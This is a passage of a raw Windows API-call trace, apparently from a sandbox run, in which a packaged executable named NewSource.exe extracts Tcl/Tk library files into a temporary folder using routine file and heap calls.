lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.353] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.353] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x776, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x776, lpOverlapped=0x0) returned 1 [0044.353] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.353] CloseHandle (hObject=0x10c) returned 1 [0044.354] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.354] htonl (hostlong=0x20000000) returned 0x20 [0044.354] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.354] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.354] GetFileType (hFile=0x10c) returned 0x1 [0044.354] htonl (hostlong=0x88b65d00) returned 0x5db688 [0044.354] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x626688, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.354] htonl (hostlong=0x6c110000) returned 0x116c [0044.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x116c) returned 0x561090 [0044.354] htonl (hostlong=0x6c110000) returned 0x116c [0044.354] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0044.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x562208 [0044.354] ReadFile (in: hFile=0x10c, lpBuffer=0x562208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x562208*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.354] htonl (hostlong=0x36420000) returned 0x4236 [0044.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4236) returned 0x563210 [0044.354] htonl (hostlong=0x6c110000) returned 0x116c [0044.354] htonl (hostlong=0x36420000) returned 0x4236 [0044.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x567450 [0044.355] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567450 | out: hHeap=0x530000) returned 1 [0044.355] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.355] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562208 | out: hHeap=0x530000) returned 1 [0044.355] CloseHandle (hObject=0x10c) returned 1 [0044.355] GetLastError () returned 0x0 [0044.355] SetLastError (dwErrCode=0x0) [0044.355] GetLastError () returned 0x0 [0044.355] SetLastError (dwErrCode=0x0) [0044.355] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.355] GetFileType (hFile=0x10c) returned 0x1 [0044.355] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.355] CloseHandle (hObject=0x10c) returned 1 [0044.356] GetLastError () returned 0x0 [0044.356] SetLastError (dwErrCode=0x0) [0044.356] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\entry.tcl") returned 58 [0044.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\entry.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\entry.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.356] GetLastError () returned 0x2 [0044.356] SetLastError (dwErrCode=0x2) [0044.356] GetLastError () returned 0x2 [0044.356] SetLastError (dwErrCode=0x2) [0044.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\entry.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\entry.tcl", lpFilePart=0x0) returned 0x39 [0044.356] GetLastError () returned 0x2 [0044.356] SetLastError (dwErrCode=0x2) [0044.356] GetLastError () returned 0x2 [0044.356] SetLastError (dwErrCode=0x2) [0044.356] GetLastError () returned 0x2 [0044.356] SetLastError (dwErrCode=0x2) [0044.356] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\entry.tcl") returned 58 [0044.356] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\entry.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\entry.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.356] GetFileType (hFile=0x10c) returned 0x1 [0044.356] htonl (hostlong=0x36420000) returned 0x4236 [0044.357] WriteFile (in: hFile=0x10c, lpBuffer=0x563210*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563210*, lpNumberOfBytesWritten=0x4fcd00*=0x4000, lpOverlapped=0x0) returned 1 [0044.358] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.358] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x236, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x236, lpOverlapped=0x0) returned 1 [0044.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.358] CloseHandle (hObject=0x10c) returned 1 [0044.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563210 | out: hHeap=0x530000) returned 1 [0044.359] htonl (hostlong=0x20000000) returned 0x20 [0044.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.359] GetFileType (hFile=0x10c) returned 0x1 [0044.359] htonl (hostlong=0xf4c75d00) returned 0x5dc7f4 [0044.359] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6277f4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.359] htonl (hostlong=0x7d060000) returned 0x67d [0044.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x67d) returned 0x55e278 [0044.359] htonl (hostlong=0x7d060000) returned 0x67d [0044.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.360] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.360] htonl (hostlong=0xf9120000) returned 0x12f9 [0044.360] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x12f9) returned 0x562098 [0044.360] htonl (hostlong=0x7d060000) returned 0x67d [0044.360] htonl (hostlong=0xf9120000) returned 0x12f9 [0044.360] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5633a0 [0044.360] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5633a0 | out: hHeap=0x530000) returned 1 [0044.360] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.360] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.360] CloseHandle (hObject=0x10c) returned 1 [0044.360] GetLastError () returned 0x0 [0044.360] SetLastError (dwErrCode=0x0) [0044.360] GetLastError () returned 0x0 [0044.360] SetLastError (dwErrCode=0x0) [0044.360] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.360] GetFileType (hFile=0x10c) returned 0x1 [0044.360] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.361] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.361] CloseHandle (hObject=0x10c) returned 1 [0044.361] GetLastError () returned 0x0 [0044.361] SetLastError (dwErrCode=0x0) [0044.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\focus.tcl") returned 58 [0044.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\focus.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\focus.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.361] GetLastError () returned 0x2 [0044.361] SetLastError (dwErrCode=0x2) [0044.361] GetLastError () returned 0x2 [0044.361] SetLastError (dwErrCode=0x2) [0044.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\focus.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\focus.tcl", lpFilePart=0x0) returned 0x39 [0044.361] GetLastError () returned 0x2 [0044.361] SetLastError (dwErrCode=0x2) [0044.361] GetLastError () returned 0x2 [0044.361] SetLastError (dwErrCode=0x2) [0044.361] GetLastError () returned 0x2 [0044.361] SetLastError (dwErrCode=0x2) [0044.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\focus.tcl") returned 58 [0044.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\focus.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\focus.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.362] GetFileType (hFile=0x10c) returned 0x1 [0044.362] htonl (hostlong=0xf9120000) returned 0x12f9 [0044.362] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.363] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.363] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x2f9, lpOverlapped=0x0) returned 1 [0044.363] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.363] CloseHandle (hObject=0x10c) returned 1 [0044.363] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.363] htonl (hostlong=0x20000000) returned 0x20 [0044.363] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.363] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.363] GetFileType (hFile=0x10c) returned 0x1 [0044.363] htonl (hostlong=0x71ce5d00) returned 0x5dce71 [0044.363] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x627e71, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.363] htonl (hostlong=0xcc000000) returned 0xcc [0044.363] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcc) returned 0x545d70 [0044.363] htonl (hostlong=0xcc000000) returned 0xcc [0044.363] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.363] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.363] htonl (hostlong=0x42010000) returned 0x142 [0044.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x142) returned 0x550600 [0044.364] htonl (hostlong=0xcc000000) returned 0xcc [0044.364] htonl (hostlong=0x42010000) returned 0x142 [0044.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545d70 | out: hHeap=0x530000) returned 1 [0044.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.364] CloseHandle (hObject=0x10c) returned 1 [0044.364] GetLastError () returned 0x0 [0044.364] SetLastError (dwErrCode=0x0) [0044.364] GetLastError () returned 0x0 [0044.364] SetLastError (dwErrCode=0x0) [0044.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.364] GetFileType (hFile=0x10c) returned 0x1 [0044.364] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.364] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.364] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.364] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.364] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.364] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.364] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.364] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.364] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.364] CloseHandle (hObject=0x10c) returned 1 [0044.364] GetLastError () returned 0x0 [0044.365] SetLastError (dwErrCode=0x0) [0044.365] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.365] GetLastError () returned 0x2 [0044.365] SetLastError (dwErrCode=0x2) [0044.365] GetLastError () returned 0x2 [0044.365] SetLastError (dwErrCode=0x2) [0044.365] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images", lpFilePart=0x0) returned 0x36 [0044.365] GetLastError () returned 0x2 [0044.365] SetLastError (dwErrCode=0x2) [0044.365] GetLastError () returned 0x2 [0044.365] SetLastError (dwErrCode=0x2) [0044.365] GetLastError () returned 0x2 [0044.365] SetLastError (dwErrCode=0x2) [0044.365] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), lpSecurityAttributes=0x0) returned 1 [0044.365] GetLastError () returned 0x2 [0044.365] SetLastError (dwErrCode=0x2) [0044.365] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\README") returned 62 [0044.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\README" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\readme"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.365] GetLastError () returned 0x2 [0044.365] SetLastError (dwErrCode=0x2) [0044.365] GetLastError () returned 0x2 [0044.365] SetLastError (dwErrCode=0x2) [0044.365] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\README", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\README", lpFilePart=0x0) returned 0x3d [0044.365] GetLastError () returned 0x2 [0044.365] SetLastError (dwErrCode=0x2) [0044.365] GetLastError () returned 0x2 [0044.366] SetLastError (dwErrCode=0x2) [0044.366] GetLastError () returned 0x2 [0044.366] SetLastError (dwErrCode=0x2) [0044.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\README") returned 62 [0044.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\README" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\readme"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.417] GetFileType (hFile=0x10c) returned 0x1 [0044.417] htonl (hostlong=0x42010000) returned 0x142 [0044.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.417] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x142, lpOverlapped=0x0) returned 1 [0044.418] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.418] CloseHandle (hObject=0x10c) returned 1 [0044.418] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) 